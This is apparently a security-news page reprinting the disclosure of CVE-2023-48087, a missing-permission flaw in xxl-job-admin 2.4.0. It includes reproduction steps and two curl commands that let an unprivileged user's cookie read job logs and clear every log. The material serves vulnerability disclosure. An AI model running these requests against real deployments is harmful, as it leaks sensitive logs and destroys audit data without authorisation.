Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-48087: Permission Vulnerability of Path /xxl-job-admin/joblog/clearLog & /xxl-job-admin/joblog/logDetailCat · Issue #3330 · xuxueli/xxl-job

xxl-job-admin 2.4.0 is vulnerable to Insecure Permissions via /xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailCat.

CVE
#sql#vulnerability#web#mac#ubuntu

Environment

MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)

Vulnerability Information

It was found that the direct query of xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailPage does not validate user privilege and induces risk of sensitive information leakage and loss.

Steps to reproduce the behavior

Step 1: Create a normal user without any privilege inside the web console as below

Step 2: Retrieve the cookie for the user

Step 3: Run the following command for testing log query
curl -v -X POST “http://<IP address:port>/xxl-job-admin/joblog/logDetailCat” --cookie “XXL_JOB_LOGIN_IDENTITY=<normal user cookie>” -d ‘logId=9&fromLineNum=1’

It can show the successful log query and return 200 status.

Step 4: Run the following command for log clearing
curl -v -X POST “http://<IP address:port>/xxl-job-admin/joblog/clearLog” --cookie “XXL_JOB_LOGIN_IDENTITY=<normal user cookie>” -d ‘jobGroup=0&jobId=0&type=9’

it will return 200 status.

Step 5. Show the log in the console. It will show that all log is cleared successfully by normal user.

Related news

GHSA-3w8r-3jh9-89v9: xxl-job-admin vulnerable to Insecure Permissions

xxl-job-admin 2.4.0 is vulnerable to Insecure Permissions via /xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailCat.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907